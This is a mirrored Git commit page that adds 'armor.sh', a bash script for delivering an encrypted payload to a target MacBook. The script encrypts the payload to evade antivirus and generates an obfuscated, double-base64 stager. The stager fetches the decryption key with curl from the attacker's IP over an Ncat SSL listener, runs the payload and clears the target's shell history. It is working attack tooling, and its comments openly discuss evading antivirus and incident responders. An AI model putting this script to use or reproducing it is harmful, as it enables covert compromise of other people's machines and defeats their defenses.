mirror of
https://github.com/The-Art-of-Hacking/h4cker.git
synced 2024-12-18 19:06:08 +00:00
Create armor.sh
This commit is contained in:
Omar Santos
parent
e858a20d51
commit
c04a1a44b3
258
python_ruby_and_bash/armor.sh
Normal file
258
python_ruby_and_bash/armor.sh
Normal file
@ -0,0 +1,258 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# based on the work by @tokyoneon_
|
||||||
|
# Armor relies on LibreSSL to encrypt the input file and create the SSL certificate.
|
||||||
|
# If LibreSSL isn't found in your system, Armor will attempt to install it.
|
||||||
|
|
||||||
|
# Variables for colorful terminal output.
|
||||||
|
R="\033[1;31m"
|
||||||
|
Y="\033[1;33m"
|
||||||
|
G="\033[1;32m"
|
||||||
|
N="\033[0;39m"
|
||||||
|
|
||||||
|
clear
|
||||||
|
# The script name, taken from the input file; first arg.
|
||||||
|
sN="$(echo "$1" | sed 's/.*\///')"
|
||||||
|
|
||||||
|
# Random 4-digit string appended to the filename to prevent clobbering
|
||||||
|
# previous iterations of the same input file and to avoid enumation attempts
|
||||||
|
# by anyone crawling the attackers server to locate the master key. To increase
|
||||||
|
# the length of the random string, change "2" to "5" or "10".
|
||||||
|
fnRand="$(openssl rand -hex 2)"
|
||||||
|
|
||||||
|
# The script name and random string are combined to create the filename
|
||||||
|
# for most of the generated files.
|
||||||
|
inFile="$sN"_"$fnRand"
|
||||||
|
|
||||||
|
# When generating self-signed SSL certificates, a Common Name (domain name)
|
||||||
|
# is required. This value could've been static, but I decided to have
|
||||||
|
# each certificate contain a unique Common Name. Actually, when the master
|
||||||
|
# key is fetched from the attacker's server, the Common Name is ignored.
|
||||||
|
# This is just a formality.
|
||||||
|
cnRand="$(openssl rand -hex 4)"
|
||||||
|
|
||||||
|
# A random string is inserted into the encoded stager to make the base64
|
||||||
|
# string appear different every time. This is done to obfuscate the string
|
||||||
|
# and (hopefully) make it less identifiable to antivirus software.
|
||||||
|
junk="$(openssl rand -hex 12)"
|
||||||
|
|
||||||
|
# The attacker's IP address is converted into a hexidecimal string. There's
|
||||||
|
# no real reason for this, it's easily reverse engineered back an IPv4
|
||||||
|
# address. Still, in the spirit of overkill obfuscation, this felt appropriate.
|
||||||
|
aH="0x$(printf '%02X' $(echo ${2//./ }))"
|
||||||
|
|
||||||
|
# The attacker's desired port number. This port number is used by the
|
||||||
|
# target device to fetch the master key and decrypt the payload. Be careful
|
||||||
|
# not to use your Metasploit or Netcat listening port here.
|
||||||
|
aP="$3"
|
||||||
|
|
||||||
|
# A variable created to identify the working directory. This variable is
|
||||||
|
# used in several functions.
|
||||||
|
dir="$(pwd -P)"
|
||||||
|
|
||||||
|
# The below three functions are used to print messages in the script. They
|
||||||
|
# use the previously defined color variables to print messages, instructions,
|
||||||
|
# and errors.
|
||||||
|
function msg () {
|
||||||
|
echo -e "$G [+] $N $1"
|
||||||
|
}
|
||||||
|
|
||||||
|
function msg_instruct () {
|
||||||
|
echo -e "$Y \n [!] $1\n $N"
|
||||||
|
}
|
||||||
|
|
||||||
|
function msg_fatal () {
|
||||||
|
echo -e "$R \n [ERROR] $1\n $N"
|
||||||
|
exit 0
|
||||||
|
}
|
||||||
|
|
||||||
|
# OS detection for below ascii_art function. Base64 "-D" for macOS, "-d" for
|
||||||
|
# Debian/Ubuntu. Other operating systems are untested.
|
||||||
|
function os_detect () {
|
||||||
|
case "$(uname -s)" in
|
||||||
|
Darwin)
|
||||||
|
osDetect='-D'
|
||||||
|
;;
|
||||||
|
Linux)
|
||||||
|
osDetect='-d'
|
||||||
|
;;
|
||||||
|
*)
|
||||||
|
msg_fatal "OS detection failed. Comment out the os_detect and ascii_art functions to force continue."
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
}
|
||||||
|
|
||||||
|
os_detect
|
||||||
|
|
||||||
|
# The "armor" and panther ascii art are encoded; easier than escaping
|
||||||
|
# special characters. Comment out the ascii_art function to suppress the
|
||||||
|
# logo. It's gimmicky, I know.
|
||||||
|
function ascii_art () {
|
||||||
|
echo -e "$R" "$(echo 'CgoKCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLi4sY284b2Mub284ODg4Y2MsLi4KCSAg
|
||||||
|
ICBvOG8uICAgICAgICAgICAgICAgIC4uLG84ODk2ODlvb284ODhvIjg4ODg4ODg4b29vYy4uCgkg
|
||||||
|
IC44ODg4ICAgICAgICAgICAgICAgLm84ODg4Njg4OCIuODg4ODg4ODhvJz84ODg4ODg4ODg4ODlv
|
||||||
|
b28uLi4uCgkgIGE4OFAgICAgICAgICAgICAuLmM2ODg4NjkiIi4uLCJvODg4ODg4ODg4by4/ODg4
|
||||||
|
ODg4ODg4OCIiLm9vbzg4ODhvby4KCSAgMDg4UCAgICAgICAgIC4uYXRjODg4OSIiLixvbzhvLjg2
|
||||||
|
ODg4ODg4ODg4byA4ODk4ODg4OSIsbzg4ODg4ODg4ODg4OC4KCSAgODg4dCAgLi4uY29vNjg4ODg5
|
||||||
|
Iicub29vODhvODhiLic4Njk4ODk4ODg4OSA4Njg4ODg4J284ODg4ODk2OTg5Xjg4OG8KCSAgIDg4
|
||||||
|
ODg4ODg4ODg4OCIuLm9vbzg4ODk2ODg4ODg4ICAgIjlvNjg4ODg4JyAiODg4OTg4IDg4ODg4Njg4
|
||||||
|
ODgnbzg4ODg4CiAgICAgICAgICAgIiJHODg4OSIiJ29vbzg4ODg4ODg4ODg4ODg5ICAgLmQ4bzk4
|
||||||
|
ODkiIicgICAiODY4OG8uIjg4ODg4OTg4Im84ODg4ODhvIC4KCQkgICAgbzg4ODgnIiIiIiIiIiIi
|
||||||
|
JyAgICAgbzg2ODgiICAgICAgICAgIDg4ODY4LiA4ODg4ODguNjg5ODg4ODgibzhvLiAKCQkgICAg
|
||||||
|
ODg4ODhvLiAgICAgICAgICAgICAgIjg4ODhvb28uICAgICAgICAnODg4OC4gODg4ODguODg5ODg4
|
||||||
|
OG8iODg4by4uCgkgICAgICAgICAgICI4ODg4bCAnICAgICAgICAgICAgICAgIjg4ODg4OCcgICAg
|
||||||
|
ICAgICAgJyIiOG8iODg4OC44ODY5ODg4b284ODg4byAKICAgICAuOy4gICAgICAuOzs7OzssLiAg
|
||||||
|
ICAgLCcgICAgICAgLCwgICAgIC4sOywnICAgICAgOzs7OzssLiAgOi4iODg4OCAiODg4ODg4ODg4
|
||||||
|
Xjg4bwogICAgIE9NMCAgICAgIHhXbDo6Y29LMC4gIC5XTSwgICAgIDtNVyAgICxLT2xjY3hYZCAg
|
||||||
|
ICdNazo6Y2xrWGMgLi44ODg4LC4gIjg4ODg4ODg4ODg4LgogICAgLldYTS4gICAgIHhXICAgICAg
|
||||||
|
SzAgIC5XTUsgICAgIEtNVyAgIE5rICAgICA7TTogICdNOiAgICAgbE0nOm84ODgubzhvLiAgIjg2
|
||||||
|
Nm85ODg4bwogICAgbE4uWG8gICAgIHhXICAgICAgT0sgIC5XS1djICAgbFdLVyAgLldkICAgICAu
|
||||||
|
TWwgICdNOiAgICAgO00sOjg4OC5vODg4OC4gICI4OC4iODkiLgogICAgMGsgZFggICAgIHhXICAg
|
||||||
|
ICAgT0sgIC5Xb2RYLiAuTm9kVyAgLldkICAgICAuTWwgICdNOiAgICAgO00sIDg5ICA4ODg4ODgg
|
||||||
|
ICAgIjg4IjouCiAgICdNOyAnTSwgICAgeFcgICAgICBLTyAgLldvLk5vIGRYIGRXICAuV2QgICAg
|
||||||
|
IC5NbCAgJ006ICAgICBvTS4gICAgICc4ODg4bwogICBvTiAgIEt4ICAgIHhXLmNjY29LTy4gIC5X
|
||||||
|
byBjV2xXOiBkVyAgLldkICAgICAuTWwgICdNYztjY2xrWGMgICAgICAgIjg4ODguLgogICBYZCAg
|
||||||
|
IG9OLiAgIHhXIHhXYycuICAgIC5XbyAgS00wICBkVyAgLldkICAgICAuTWwgICdNOixXTycuICAg
|
||||||
|
ICAgICAgIDg4ODg4OG8uCiAgO01jLi4uOk1jICAgeFcgIDBLLiAgICAgLldvICAsVycgIGRXICAu
|
||||||
|
V2QgICAgIC5NbCAgJ006IGNXOiAgICAgICAgICAgICI4ODg4ODksCiAgT1hsbGxsbEtLICAgeFcg
|
||||||
|
IC5LTyAgICAgLldvICAgJyAgIGRXICAuV2QgICAgIC5NbCAgJ006ICBvTicgICAgICAgLiA6IDou
|
||||||
|
Ojo6Oi46IDouCiAuTW8gICAgIGNNLCAgeFcgICAuWGQgICAgLldvICAgICAgIGRXICAuV2QgICAg
|
||||||
|
IC5NbCAgJ006ICAgZFguICAgY3JlYXRlZCBieSBAdG9reW9uZW9uXwogb1cuICAgICAuV2QgIHhX
|
||||||
|
ICAgICdXOiAgIC5XbyAgICAgICBkVyAgIFhPICAgICA6TTsgICdNOiAgICAwTyAgIAogS08gICAg
|
||||||
|
ICAgeE4gIHhXICAgICA6TiwgIC5XbyAgICAgICBkVyAgIC5PMHhvZE8wYyAgICdNOiAgICAuWGsg
|
||||||
|
IAogCgoKCgoKCgoKCgoKCg==' | base64 "$osDetect")"$N""
|
||||||
|
}
|
||||||
|
|
||||||
|
ascii_art
|
||||||
|
|
||||||
|
# The version of OpenSSL found in Debian/Kali isn't compatible with macOS' LibreSSL.
|
||||||
|
# Payloads encrypted in Kali will not be decryptable by the target MacBook.
|
||||||
|
# As a workaround, OpenSSL in Ubuntu was tested and is compatible with LibreSSL
|
||||||
|
# in macOS. Alternatively, allow the armor script to attempt to install LibreSSL.
|
||||||
|
# https://linuxg.net/how-to-install-libressl-2-1-6-on-linux-systems/
|
||||||
|
# https://github.com/libressl-portable/portable
|
||||||
|
function libressl_install () {
|
||||||
|
if [[ ! -f /usr/bin/make ]]; then
|
||||||
|
msg_fatal "make: command not found. Install with: sudo apt-get install build-essential"
|
||||||
|
fi
|
||||||
|
wget 'https://ftp.openbsd.org/pub/OpenBSD/LibreSSL/libressl-2.8.2.tar.gz' &&\
|
||||||
|
tar -xzvf libressl-2.8.2.tar.gz libressl-2.8.2/ &&\
|
||||||
|
cd libressl-2.8.2/ &&\
|
||||||
|
./configure &&\
|
||||||
|
make &&\
|
||||||
|
sudo make install &&\
|
||||||
|
sudo ldconfig &&\
|
||||||
|
if [[ "$(/usr/local/bin/openssl version -v | awk '{print $1}')" = 'LibreSSL' ]]; then
|
||||||
|
msg "It appears LibreSSL was installed successfully."
|
||||||
|
else
|
||||||
|
msg_fatal "Unknown issue while installing LibreSSL."
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# Verifies LibreSSL compatibility or tries to install it.
|
||||||
|
function openssl_check () {
|
||||||
|
if [[ $(/usr/bin/openssl version -v | awk '{print $1}') = 'LibreSSL' ]]; then
|
||||||
|
opensslPath='/usr/bin/openssl'
|
||||||
|
elif [[ $(/usr/local/bin/openssl version -v | awk '{print $1}') = 'LibreSSL' ]]; then
|
||||||
|
opensslPath='/usr/local/bin/openssl'
|
||||||
|
else
|
||||||
|
msg_instruct "LibreSSL version detection failed. MacOS uses LibreSSL and will not be able to decrypt payloads made in Debian/Kali (e.g., OpenSSL 1.1.0h). Attempt to install LibreSSL? y/N"
|
||||||
|
read libreInstall
|
||||||
|
if [[ "$libreInstall" = 'y' ]]; then
|
||||||
|
libressl_install
|
||||||
|
exit 0
|
||||||
|
else
|
||||||
|
exit 0
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# The master key used to encrypt the payload is generated.
|
||||||
|
function mk_key () {
|
||||||
|
"$opensslPath" rand -hex 512 > "$inFile".key &&\
|
||||||
|
msg "Generated encryption key: "$dir"/"$inFile".key" ||\
|
||||||
|
msg_fatal "Failed to create the master key."
|
||||||
|
}
|
||||||
|
|
||||||
|
# The payload is encrypted and encoded. Encrypted to evade antivirus, encoded
|
||||||
|
# to make transporting it easier.
|
||||||
|
function crypt_payload () {
|
||||||
|
"$opensslPath" enc -aes-256-cbc -a -A -in "$1" -pass file:"$inFile".key -out "$inFile".enc &&\
|
||||||
|
msg "Encrypted payload: "$dir"/"$inFile".enc" ||\
|
||||||
|
msg_fatal "Failed to encrypt the payload. Check the file path and filename."
|
||||||
|
}
|
||||||
|
|
||||||
|
# The self-signed SSL certificate for Ncat is generated. Encrypting the
|
||||||
|
# transmission of the master key is important. If DPI is taking place at
|
||||||
|
# the time of the attack, it would be possible for an incident response
|
||||||
|
# team to reconstruct the master key using the raw TCP data.
|
||||||
|
function mk_ssl () {
|
||||||
|
"$opensslPath" req -new -newkey rsa:4096 -x509 -sha256 -days 30 -nodes -subj '/CN='"$cnRand"'' \
|
||||||
|
-out "$inFile".crt -keyout "$inFile"_ssl.key >/dev/null 2>&1 &&\
|
||||||
|
msg "Generated SSL certificate: "$dir"/"$inFile".crt" ||\
|
||||||
|
msg_fatal "Unknown error."
|
||||||
|
msg "Generated SSL key: "$dir"/"$inFile"_ssl.key"
|
||||||
|
}
|
||||||
|
|
||||||
|
# The suggested stager command is printed. This can be embedded into an
|
||||||
|
# AppleScript or used with a USB Rubber Ducky. The `history -c` command is
|
||||||
|
# appened to the stager to prevent it from being saved to the target's
|
||||||
|
# Terminal history. This, believe it or not, also helps with evading antivirus
|
||||||
|
# software.
|
||||||
|
function mk_stager () {
|
||||||
|
stager=""$junk">/dev/null 2>&1; openssl enc -d -aes-256-cbc \
|
||||||
|
-in <(printf '%s' '$(cat "$inFile".enc)' | base64 -D) \
|
||||||
|
-pass file:<(curl -s --insecure https://"$aH":"$aP")"
|
||||||
|
echo -e "bash -c \"\$(bash -c \"\$(printf '%s' '$(printf '%s' "$stager" | base64)' | base64 -D)\")\";history -c" > "$dir"/"$inFile"_stager.txt &&\
|
||||||
|
msg "Saved stager: "$dir"/"$inFile"_stager.txt"
|
||||||
|
msg_instruct "Execute the below stager in the target MacBook:"
|
||||||
|
cat "$dir"/"$inFile"_stager.txt
|
||||||
|
}
|
||||||
|
|
||||||
|
# The suggested Ncat listener command is printed. Ncat works well because
|
||||||
|
# the listener automatically terminates after just one established connection.
|
||||||
|
# If the stager is reverse engineered, it would be possible to discover
|
||||||
|
# the attacker's IP address and the location of the master key, but at that
|
||||||
|
# point, the key will no longer be accessible to the internet (or local network).
|
||||||
|
function ncat_listener () {
|
||||||
|
msg_instruct "Start Ncat listener with:"
|
||||||
|
echo -e "$1"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Attempts to start the Ncat listener for you.
|
||||||
|
function start_ncat () {
|
||||||
|
ncatListener="ncat -v --ssl --ssl-cert $dir/$inFile.crt \
|
||||||
|
--ssl-key $dir/$inFile\_ssl.key \
|
||||||
|
-l -p $aP < $dir/$inFile.key"
|
||||||
|
|
||||||
|
if [[ ! -f /usr/local/bin/ncat ]] && [[ ! -f /usr/bin/ncat ]]; then
|
||||||
|
msg_fatal "Ncat not found. Install Nmap: https://nmap.org/book/install.html"
|
||||||
|
fi
|
||||||
|
msg_instruct "Start the Ncat listener now? y/N "
|
||||||
|
read answer
|
||||||
|
if [[ "$answer" = 'y' ]]; then
|
||||||
|
clear
|
||||||
|
msg "Ncat active for stager: "$inFile"..."
|
||||||
|
eval "$ncatListener"
|
||||||
|
else
|
||||||
|
ncat_listener "$ncatListener"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# Some minor input validation. If the input file, attacker's IP address,
|
||||||
|
# and port number are not included, the script exits.
|
||||||
|
if [[ ! $3 ]]; then
|
||||||
|
msg_fatal "Missing args. Use the below command:"$N"\n\n$ ./armor.sh /path/to/payload 192.168.1.2 8080"
|
||||||
|
else
|
||||||
|
# Checks to make sure the input file actually exists.
|
||||||
|
if [[ ! -f "$1" ]]; then
|
||||||
|
msg_fatal "Payload not found. Check file path and filename."
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Executes all of the above functions in order.
|
||||||
|
openssl_check
|
||||||
|
mk_key
|
||||||
|
crypt_payload "$1"
|
||||||
|
mk_ssl
|
||||||
|
mk_stager
|
||||||
|
start_ncat
|
||||||
Loading…
Reference in New Issue
Block a user